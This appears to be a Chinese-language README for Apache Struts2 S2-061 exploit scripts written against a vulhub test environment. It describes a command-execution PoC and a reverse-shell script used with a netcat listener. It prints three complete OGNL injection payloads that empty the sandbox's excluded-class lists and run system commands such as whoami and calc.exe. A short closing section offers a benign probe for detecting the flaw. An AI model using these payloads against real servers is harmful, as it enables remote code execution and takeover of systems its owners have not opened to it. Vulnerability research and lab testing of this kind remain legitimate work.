S2-061 的payload,以及对应简单的PoC/Exp

Overview

S2-061

脚本皆根据vulhub的struts2-059/061漏洞测试环境来写的,不具普遍性,还望大佬多多指教

  • struts2-061-poc.py(可执行简单系统命令)

    用法:python struts2-061-poc.py http://ip:port command

    例子:python struts2-061-poc.py http://192.168.0.7:8080 whoami

  • S2-061-shell.py(可反弹shell)

    用法:

    1. 首先在一台机器A上监听指定端口(例如:nc -lvvp 7777)

    2. 执行脚本:python2 S2-061-shell.py target_url,其中target_url为漏洞环境地址,形式为http://ip:port

    3. 根据脚本提示输入A机器的IP及所监听的端口,即可在机器A的监听窗口获取到shell



以下是几个大佬搞出来的payload:

payload-1:(from ka1n4t)

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

payload-2:(from Smi1e)

完整分析文章:https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458

使用 application,就是思路的完整 POC

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

使用 request,单次请求有效的完整 POC (推荐)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

注意:请使用 url 对以上的 OGNL 代码编码后,再在工具上使用。

检测思路:

在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。

eg: %{ 'gcowsec-' + (2000 + 20).toString()}

预计会得到

gcowsec-2020

使用脚本判断结果中是否包含就可以了
